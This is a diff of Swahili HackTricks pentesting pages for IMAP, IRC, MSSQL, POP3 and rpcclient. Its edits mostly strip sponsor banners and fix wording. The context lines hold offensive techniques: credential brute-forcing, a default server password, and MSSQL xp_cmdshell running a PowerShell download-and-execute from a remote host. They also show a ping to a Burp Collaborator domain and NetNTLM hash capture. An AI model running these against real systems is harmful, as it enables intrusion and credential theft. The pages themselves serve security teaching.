<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
@ -69,7 +55,7 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" al
|
|||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -15,17 +15,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Internet Message Access Protocol
|
||||
|
||||
**Internet Message Access Protocol (IMAP)** imeundwa kwa lengo la kuwapa watumiaji **ufikiaji wa ujumbe wao wa barua pepe kutoka mahali popote**, hasa kupitia muunganisho wa Intaneti. Kwa msingi, barua pepe **zinahifadhiwa kwenye seva** badala ya kupakuliwa na kuhifadhiwa kwenye kifaa binafsi cha mtu. Hii ina maana kwamba wakati barua pepe inafikiwa au kusomwa, inafanywa **moja kwa moja kutoka kwenye seva**. Uwezo huu unaruhusu urahisi wa kuangalia barua pepe kutoka **kwa vifaa vingi**, kuhakikisha kwamba hakuna ujumbe unakosa bila kujali kifaa kinachotumika.
|
||||
**Internet Message Access Protocol (IMAP)** imeundwa kwa lengo la kuwapa watumiaji **ufikiaji wa ujumbe wao wa barua pepe kutoka mahali popote**, hasa kupitia muunganisho wa Intaneti. Kwa msingi, barua pepe **zinahifadhiwa kwenye seva** badala ya kupakuliwa na kuhifadhiwa kwenye kifaa binafsi cha mtu. Hii inamaanisha kwamba wakati barua pepe inafikiwa au kusomwa, inafanywa **moja kwa moja kutoka kwenye seva**. Uwezo huu unaruhusu urahisi wa kuangalia barua pepe kutoka **kwa vifaa vingi**, kuhakikisha kwamba hakuna ujumbe unakosa bila kujali kifaa kinachotumika.
|
||||
|
||||
Kwa kawaida, itifaki ya IMAP inafanya kazi kwenye port mbili:
|
||||
|
||||
|
|
@ -51,7 +43,7 @@ root@kali: telnet example.com 143
|
|||
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
|
||||
+ TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
|
||||
```
|
||||
Au **automate** hii na **nmap** plugin `imap-ntlm-info.nse`
|
||||
Au **automate** hii kwa kutumia **nmap** plugin `imap-ntlm-info.nse`
|
||||
|
||||
### [IMAP Bruteforce](../generic-methodologies-and-resources/brute-force.md#imap)
|
||||
|
||||
|
|
@ -124,7 +116,7 @@ curl -k 'imaps://1.2.3.4/INBOX?ALL' --user user:pass
|
|||
```
|
||||
Matokeo ya utafutaji huu ni orodha ya viashiria vya ujumbe.
|
||||
|
||||
Pia inawezekana kutoa masharti ya utafutaji magumu zaidi. mfano: kutafuta rasimu zenye nenosiri katika mwili wa barua:
|
||||
Pia inawezekana kutoa masharti ya utafutaji magumu zaidi. mfano, kutafuta rasimu zenye nenosiri katika mwili wa barua:
|
||||
```bash
|
||||
curl -k 'imaps://1.2.3.4/Drafts?TEXT password' --user user:pass
|
||||
```
|
||||
|
|
@ -145,7 +137,7 @@ Pia, inawezekana kupakua sehemu tu za ujumbe, mfano kichwa na mtumaji wa ujumbe
|
|||
```bash
|
||||
$ curl -k 'imaps://1.2.3.4/INBOX' -X 'FETCH 1:5 BODY[HEADER.FIELDS (SUBJECT FROM)]' --user user:pass -v 2>&1 | grep '^<'
|
||||
```
|
||||
Ingawa, huenda ni safi zaidi kuandika kidogo tu kwa ajili ya mzunguko:
|
||||
Ingawa, labda ni safi zaidi kuandika kidogo tu kwa ajili ya mzunguko:
|
||||
```bash
|
||||
for m in {1..5}; do
|
||||
echo $m
|
||||
|
|
@ -157,12 +149,6 @@ done
|
|||
* `port:143 CAPABILITY`
|
||||
* `port:993 CAPABILITY`
|
||||
|
||||
**Jaribio Ngumu la Usalama**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
## HackTricks Amri za Otomatiki
|
||||
```
|
||||
Protocol_Name: IMAP #Protocol Abbreviation if there is one.
|
||||
|
|
|
|||
|
|
@ -15,29 +15,16 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya kutafuta inayotumiwa na **dark-web** ambayo inatoa kazi za **bure** kuangalia ikiwa kampuni au wateja wake wamekuwa **compromised** na **stealer malwares**.
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulizi ya ransomware yanayotokana na malware ya kuiba taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao kwa **bure** kwenye:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Basic Information
|
||||
|
||||
IRC, awali ilikuwa **plain text protocol**, ilipewa **194/TCP** na IANA lakini kawaida inakimbia kwenye **6667/TCP** na bandari zinazofanana ili kuepuka hitaji la **root privileges** kwa ajili ya uendeshaji.
|
||||
IRC, awali **protokali ya maandiko rahisi**, ilipewa **194/TCP** na IANA lakini kawaida inakimbia kwenye **6667/TCP** na bandari zinazofanana ili kuepuka hitaji la **privileges za root** kwa ajili ya uendeshaji.
|
||||
|
||||
**Nickname** ndiyo inahitajika kuungana na seva. Baada ya kuungana, seva inafanya utafutaji wa reverse-DNS kwenye IP ya mtumiaji.
|
||||
**Jina la utani** ndilo linahitajika kuungana na seva. Baada ya kuungana, seva inafanya utafutaji wa reverse-DNS kwenye IP ya mtumiaji.
|
||||
|
||||
Watumiaji wanagawanywa katika **operators**, ambao wanahitaji **username** na **password** kwa ajili ya ufikiaji zaidi, na watumiaji wa kawaida **users**. Operators wana viwango tofauti vya mamlaka, huku wasimamizi wakiwa juu zaidi.
|
||||
Watumiaji wanagawanywa katika **opereta**, ambao wanahitaji **jina la mtumiaji** na **nenosiri** kwa ufikiaji zaidi, na **watumiaji** wa kawaida. Opereta wana viwango tofauti vya mamlaka, huku wasimamizi wakiwa juu zaidi.
|
||||
|
||||
**Default ports:** 194, 6667, 6660-7000
|
||||
**Bandari za kawaida:** 194, 6667, 6660-7000
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
6667/tcp open irc
|
||||
|
|
@ -82,7 +69,7 @@ JOIN <CHANNEL_NAME> #Connect to a channel
|
|||
#Operator creds Brute-Force
|
||||
OPER <USERNAME> <PASSWORD>
|
||||
```
|
||||
Unaweza pia kujaribu kuingia kwenye seva kwa kutumia nenosiri. Nenosiri la kawaida kwa ngIRCd ni `wealllikedebian`.
|
||||
Unaweza pia kujaribu kuingia kwenye seva kwa kutumia nenosiri. Nenosiri la kawaida la ngIRCd ni `wealllikedebian`.
|
||||
```bash
|
||||
PASS wealllikedebian
|
||||
NICK patrick
|
||||
|
|
@ -96,19 +83,8 @@ nmap -sV --script irc-botnet-channels,irc-info,irc-unrealircd-backdoor -p 194,66
|
|||
|
||||
### Shodan
|
||||
|
||||
* `kuangalia jina lako la mwenyeji`
|
||||
* `kutafuta jina lako la mwenyeji`
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya utafutaji inayotumiwa na **dark-web** ambayo inatoa kazi za **bure** kuangalia ikiwa kampuni au wateja wake wamekuwa **compromised** na **stealer malwares**.
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na kuchukuliwa kwa akaunti na mashambulizi ya ransomware yanayotokana na malware inayopora taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao kwa **bure** kwenye:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
|||
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Basic Information
|
||||
|
||||
From [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
|
||||
|
|
@ -37,7 +29,7 @@ From [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
|
|||
|
||||
* **master Database**: Hii database ni muhimu kwani inachukua maelezo yote ya kiwango cha mfumo kwa mfano wa SQL Server.
|
||||
* **msdb Database**: SQL Server Agent inatumia hii database kusimamia ratiba za arifa na kazi.
|
||||
* **model Database**: Inatumika kama mfano kwa kila database mpya kwenye mfano wa SQL Server, ambapo mabadiliko yoyote kama ukubwa, collation, mfano wa urejeleaji, na mengineyo yanaakisiwa katika databases mpya zinazoundwa.
|
||||
* **model Database**: Inatumika kama mpango wa kila database mpya kwenye mfano wa SQL Server, ambapo mabadiliko yoyote kama ukubwa, collation, mfano wa urejeleaji, na mengineyo yanaakisiwa katika databases mpya zinazoundwa.
|
||||
* **Resource Database**: Hii ni database ya kusoma tu ambayo ina vitu vya mfumo vinavyokuja na SQL Server. Vitu hivi, ingawa vinahifadhiwa kimwili katika database ya Resource, vinawasilishwa kimaadili katika schema ya sys ya kila database.
|
||||
* **tempdb Database**: Inatumika kama eneo la kuhifadhi la muda kwa vitu vya muda au seti za matokeo za kati.
|
||||
|
||||
|
|
@ -51,10 +43,10 @@ nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config
|
|||
msf> use auxiliary/scanner/mssql/mssql_ping
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Ikiwa **huna** **vithibitisho** unaweza kujaribu kuvihisi. Unaweza kutumia nmap au metasploit. Kuwa makini, unaweza **kuzuia akaunti** ikiwa unashindwa kuingia mara kadhaa ukitumia jina la mtumiaji lililopo.
|
||||
Ikiwa **huna** **akikazi** unaweza kujaribu kuyakisia. Unaweza kutumia nmap au metasploit. Kuwa makini, unaweza **kufunga akaunti** ikiwa unashindwa kuingia mara kadhaa ukitumia jina la mtumiaji lililopo.
|
||||
{% endhint %}
|
||||
|
||||
#### Metasploit (inahitaji vithibitisho)
|
||||
#### Metasploit (inahitaji creds)
|
||||
```bash
|
||||
#Set USERNAME, RHOSTS and PASSWORD
|
||||
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used
|
||||
|
|
@ -158,7 +150,7 @@ SELECT * FROM sysusers
|
|||
```
|
||||
#### Pata Ruhusa
|
||||
|
||||
1. **Securable:** Imefafanuliwa kama rasilimali zinazodhibitiwa na SQL Server kwa ajili ya udhibiti wa ufikiaji. Hizi zimeainishwa katika:
|
||||
1. **Securable:** Imefafanuliwa kama rasilimali zinazodhibitiwa na SQL Server kwa udhibiti wa ufikiaji. Hizi zimeainishwa katika:
|
||||
* **Server** – Mifano ni pamoja na databases, logins, endpoints, availability groups, na server roles.
|
||||
* **Database** – Mifano inajumuisha database role, application roles, schema, certificates, full text catalogs, na watumiaji.
|
||||
* **Schema** – Inajumuisha tables, views, procedures, functions, synonyms, nk.
|
||||
|
|
@ -190,7 +182,7 @@ EXEC sp_helprotect 'xp_cmdshell'
|
|||
### Execute OS Commands
|
||||
|
||||
{% hint style="danger" %}
|
||||
Kumbuka kwamba ili uweze kutekeleza amri si tu inahitajika kuwa na **`xp_cmdshell`** **imewezeshwa**, bali pia kuwa na **idhini ya EXECUTE kwenye utaratibu wa kuhifadhi `xp_cmdshell`**. Unaweza kupata nani (isipokuwa sysadmins) anaweza kutumia **`xp_cmdshell`** kwa:
|
||||
Kumbuka kwamba ili uweze kutekeleza amri, si tu inahitajika kuwa na **`xp_cmdshell`** **imewezeshwa**, bali pia kuwa na **ruhusa ya EXECUTE kwenye utaratibu wa kuhifadhi `xp_cmdshell`**. Unaweza kupata nani (isipokuwa sysadmins) anaweza kutumia **`xp_cmdshell`** kwa:
|
||||
```sql
|
||||
Use master
|
||||
EXEC sp_helprotect 'xp_cmdshell'
|
||||
|
|
@ -223,7 +215,7 @@ EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.1
|
|||
# Bypass blackisted "EXEC xp_cmdshell"
|
||||
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —
|
||||
```
|
||||
### Kununua NetNTLM hash / Shambulio la Relay
|
||||
### Kuiba NetNTLM hash / Mashambulizi ya Relay
|
||||
|
||||
Unapaswa kuanzisha **SMB server** ili kukamata hash inayotumika katika uthibitishaji (`impacket-smbserver` au `responder` kwa mfano).
|
||||
```bash
|
||||
|
|
@ -238,7 +230,7 @@ sudo impacket-smbserver share ./ -smb2support
|
|||
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Unaweza kuangalia ni nani (mbali na sysadmins) ana ruhusa ya kuendesha hizo kazi za MSSQL kwa:
|
||||
Unaweza kuangalia ni nani (mbali na sysadmins) ana ruhusa ya kuendesha kazi hizo za MSSQL kwa:
|
||||
```sql
|
||||
Use master;
|
||||
EXEC sp_helprotect 'xp_dirtree';
|
||||
|
|
@ -323,7 +315,7 @@ GO
|
|||
|
||||
Microsoft SQL Server inatoa **taratibu nyingi za kuhifadhi zilizopanuliwa** ambazo zinakuwezesha kuingiliana si tu na mtandao bali pia na mfumo wa faili na hata [**Usajili wa Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
|
||||
|
||||
| **Kawaida** | **Inayojulikana kwa Kifaa** |
|
||||
| **Kawaida** | **Inayojulikana kwa Kifaa** |
|
||||
| ---------------------------- | -------------------------------------- |
|
||||
| sys.xp\_regread | sys.xp\_instance\_regread |
|
||||
| sys.xp\_regenumvalues | sys.xp\_instance\_regenumvalues |
|
||||
|
|
@ -406,7 +398,7 @@ Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlSer
|
|||
```
|
||||
### Uwakilishi wa watumiaji wengine
|
||||
|
||||
SQL Server ina ruhusa maalum, inayoitwa **`IMPERSONATE`**, ambayo **inawaruhusu mtumiaji anayetekeleza kuchukua ruhusa za mtumiaji mwingine** au kuingia hadi muktadha urejelewe au kikao kikome.
|
||||
SQL Server ina ruhusa maalum, inayoitwa **`IMPERSONATE`**, ambayo **inawaruhusu watumiaji wanaotekeleza kuchukua ruhusa za mtumiaji mwingine** au kuingia hadi muktadha urejelewe au kikao kikome.
|
||||
```sql
|
||||
# Find users you can impersonate
|
||||
SELECT distinct b.name
|
||||
|
|
@ -444,7 +436,7 @@ Unaweza kufanya shambulio hili kwa kutumia moduli ya **metasploit**:
|
|||
```bash
|
||||
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
|
||||
```
|
||||
au kwa script ya **PS**:
|
||||
au kwa kutumia **PS** script:
|
||||
```powershell
|
||||
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
|
||||
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
|
||||
|
|
@ -463,7 +455,7 @@ Baadhi ya mahitaji, na usanidi lazima yafanyike ili exploit hii ifanye kazi. Kwa
|
|||
Baada ya kuthibitisha ruhusa zako, unahitaji kusanidi mambo matatu, ambayo ni yafuatayo:
|
||||
|
||||
1. Wezesha TCP/IP kwenye SQL Server instances;
|
||||
2. Ongeza parameter ya Kuanzisha, katika kesi hii, bendera ya kufuatilia itaongezwa, ambayo ni -T7806.
|
||||
2. Ongeza parameter ya Kuanzisha, katika kesi hii, bendera ya trace itaongezwa, ambayo ni -T7806.
|
||||
3. Wezesha muunganisho wa usimamizi wa mbali.
|
||||
|
||||
Ili kujiandaa kwa usanidi huu, [hii hazina](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) ina skripti zinazohitajika. Mbali na kuwa na skripti ya powershell kwa kila hatua ya usanidi, hazina pia ina skripti kamili ambayo inachanganya skripti za usanidi na utoaji na ufichuzi wa nywila.
|
||||
|
|
@ -474,7 +466,7 @@ Kwa maelezo zaidi, rejelea viungo vifuatavyo kuhusu shambulio hili: [Kufichua Ny
|
|||
|
||||
## Kuinua Haki za Mlokole
|
||||
|
||||
Mtumiaji anayekimbia MSSQL server atakuwa amewezesha tokeni ya haki **SeImpersonatePrivilege.**\
|
||||
Mtumiaji anayekimbia MSSQL server atakuwa amewezesha token ya haki **SeImpersonatePrivilege.**\
|
||||
Huenda ukawa na uwezo wa **kuinua hadi kwa Administrator** ukifuatia moja ya hizi kurasa 2:
|
||||
|
||||
{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md" %}
|
||||
|
|
@ -497,16 +489,10 @@ Huenda ukawa na uwezo wa **kuinua hadi kwa Administrator** ukifuatia moja ya hiz
|
|||
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
|
||||
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
|
||||
* [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
|
||||
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) **Jaribu Kikundi cha Usalama wa Juu**
|
||||
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
|
||||
* [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Amri za Kiotomatiki za HackTricks
|
||||
## HackTricks Amri za Otomatiki
|
||||
```
|
||||
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
|
||||
Port_Number: 1433 #Comma separated if there is more than one.
|
||||
|
|
|
|||
|
|
@ -15,17 +15,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Post Office Protocol (POP)** inafafanuliwa kama itifaki ndani ya eneo la mtandao wa kompyuta na Intaneti, ambayo inatumika kwa ajili ya **kuondoa na kurejesha barua pepe kutoka kwa seva ya barua ya mbali**, na kuifanya ipatikane kwenye kifaa cha ndani. Iko ndani ya tabaka la programu la mfano wa OSI, itifaki hii inawawezesha watumiaji kupata na kupokea barua pepe. Uendeshaji wa **wateja wa POP** kwa kawaida unahusisha kuanzisha muunganisho na seva ya barua, kupakua ujumbe wote, kuhifadhi ujumbe hawa kwenye mfumo wa mteja, na kisha kuondoa kutoka kwa seva. Ingawa kuna matoleo matatu ya itifaki hii, **POP3** inajitokeza kama toleo linalotumika zaidi.
|
||||
**Post Office Protocol (POP)** inafafanuliwa kama protokali ndani ya eneo la mtandao wa kompyuta na Intaneti, ambayo inatumika kwa ajili ya **kuondoa na kupata barua pepe kutoka kwa seva ya barua ya mbali**, na kuifanya ipatikane kwenye kifaa cha ndani. Iko ndani ya tabaka la programu la mfano wa OSI, protokali hii inawawezesha watumiaji kupata na kupokea barua pepe. Uendeshaji wa **wateja wa POP** kwa kawaida unahusisha kuanzisha muunganisho na seva ya barua, kupakua ujumbe wote, kuhifadhi ujumbe hawa kwenye mfumo wa mteja, na kisha kuondoa kutoka kwa seva. Ingawa kuna matoleo matatu ya protokali hii, **POP3** inajitokeza kama toleo linalotumika zaidi.
|
||||
|
||||
**Default ports:** 110, 995(ssl)
|
||||
```
|
||||
|
|
@ -51,7 +44,7 @@ The `pop3-ntlm-info` plugin itarudisha baadhi ya data "**nyeti**" (matoleo ya Wi
|
|||
|
||||
### [POP3 bruteforce](../generic-methodologies-and-resources/brute-force.md#pop)
|
||||
|
||||
## Syntax ya POP
|
||||
## Sintaksia ya POP
|
||||
|
||||
Mifano ya amri za POP kutoka [hapa](http://sunnyoasis.com/services/emailviatelnet.html)
|
||||
```bash
|
||||
|
|
@ -67,7 +60,7 @@ QUIT Logout (expunges messages if no RSET)
|
|||
TOP msg n Show first n lines of message number msg
|
||||
CAPA Get capabilities
|
||||
```
|
||||
Samahani, siwezi kusaidia na hiyo.
|
||||
Mfano:
|
||||
```
|
||||
root@kali:~# telnet $ip 110
|
||||
+OK beta POP3 server (JAMES POP3 Server 2.3.2) ready
|
||||
|
|
@ -98,17 +91,12 @@ From [https://academy.hackthebox.com/module/112/section/1073](https://academy.ha
|
|||
|
||||
| **Setting** | **Description** |
|
||||
| ------------------------- | ----------------------------------------------------------------------------------------- |
|
||||
| `auth_debug` | Inaruhusu logging ya debug ya uthibitishaji wote. |
|
||||
| `auth_debug_passwords` | Hali hii inarekebisha ukali wa log, nywila zilizowasilishwa, na mpango unarekodiwa. |
|
||||
| `auth_debug` | Inaruhusu uandishi wa log za uthibitishaji zote. |
|
||||
| `auth_debug_passwords` | Mpangilio huu unarekebisha kiwango cha uandishi wa log, nywila zilizowasilishwa, na mpango unarekodiwa. |
|
||||
| `auth_verbose` | Inarekodi majaribio yasiyofanikiwa ya uthibitishaji na sababu zao. |
|
||||
| `auth_verbose_passwords` | Nywila zinazotumika kwa uthibitishaji zinarekodiwa na zinaweza pia kupunguzwa. |
|
||||
| `auth_verbose_passwords` | Nywila zinazotumika kwa uthibitishaji zinarekodiwa na zinaweza pia kupunguzwa. |
|
||||
| `auth_anonymous_username` | Hii inaeleza jina la mtumiaji litakalotumika wakati wa kuingia kwa kutumia mekanizma ya ANONYMOUS SASL. |
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
## HackTricks Automatic Commands
|
||||
```
|
||||
|
|
@ -161,7 +149,7 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" al
|
|||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -15,17 +15,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
### Muhtasari wa Vitambulisho vya Kijamii (RID) na Vitambulisho vya Usalama (SID)
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### Overview of Relative Identifiers (RID) and Security Identifiers (SID)
|
||||
|
||||
**Relative Identifiers (RID)** na **Security Identifiers (SID)** ni sehemu muhimu katika mifumo ya uendeshaji ya Windows kwa ajili ya kutambulisha na kusimamia vitu, kama watumiaji na vikundi, ndani ya eneo la mtandao.
|
||||
**Vitambulisho vya Kijamii (RID)** na **Vitambulisho vya Usalama (SID)** ni sehemu muhimu katika mifumo ya uendeshaji ya Windows kwa kutambulisha na kusimamia vitu, kama watumiaji na vikundi, ndani ya eneo la mtandao.
|
||||
|
||||
- **SIDs** hutumikia kama vitambulisho vya kipekee kwa maeneo, kuhakikisha kwamba kila eneo linaweza kutambulika.
|
||||
- **RIDs** huongezwa kwa SIDs ili kuunda vitambulisho vya kipekee kwa vitu ndani ya maeneo hayo. Mchanganyiko huu unaruhusu kufuatilia na kusimamia ruhusa za vitu na udhibiti wa ufikiaji kwa usahihi.
|
||||
|
|
@ -33,15 +25,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
Kwa mfano, mtumiaji anayeitwa `pepe` anaweza kuwa na kitambulisho cha kipekee kinachounganisha SID ya eneo na RID yake maalum, kinachowakilishwa kwa mifumo ya hexadecimal (`0x457`) na decimal (`1111`). Hii inasababisha kitambulisho kamili na cha kipekee kwa pepe ndani ya eneo kama: `S-1-5-21-1074507654-1937615267-42093643874-1111`.
|
||||
|
||||
|
||||
### **Enumeration with rpcclient**
|
||||
### **Uhesabu wa rpcclient**
|
||||
|
||||
Zana ya **`rpcclient`** kutoka Samba inatumika kwa ajili ya kuingiliana na **RPC endpoints kupitia mabomba yaliyopewa majina**. Amri zilizo hapa chini zinaweza kutolewa kwa interfaces za SAMR, LSARPC, na LSARPC-DS baada ya **sehemu ya SMB kuanzishwa**, mara nyingi ikihitaji akidi.
|
||||
Zana ya **`rpcclient`** kutoka Samba inatumika kwa kuingiliana na **nukta za RPC kupitia bomba zilizotajwa**. Amri zilizo hapa chini zinaweza kutolewa kwa interfaces za SAMR, LSARPC, na LSARPC-DS baada ya **kikao cha SMB kuanzishwa**, mara nyingi kinahitaji akidi.
|
||||
|
||||
#### Server Information
|
||||
#### Taarifa za Server
|
||||
|
||||
* Ili kupata **Taarifa za Server**: amri ya `srvinfo` inatumika.
|
||||
|
||||
#### Enumeration of Users
|
||||
#### Uhesabu wa Watumiaji
|
||||
|
||||
* **Watumiaji wanaweza kuorodheshwa** kwa kutumia: `querydispinfo` na `enumdomusers`.
|
||||
* **Maelezo ya mtumiaji** kwa: `queryuser <0xrid>`.
|
||||
|
|
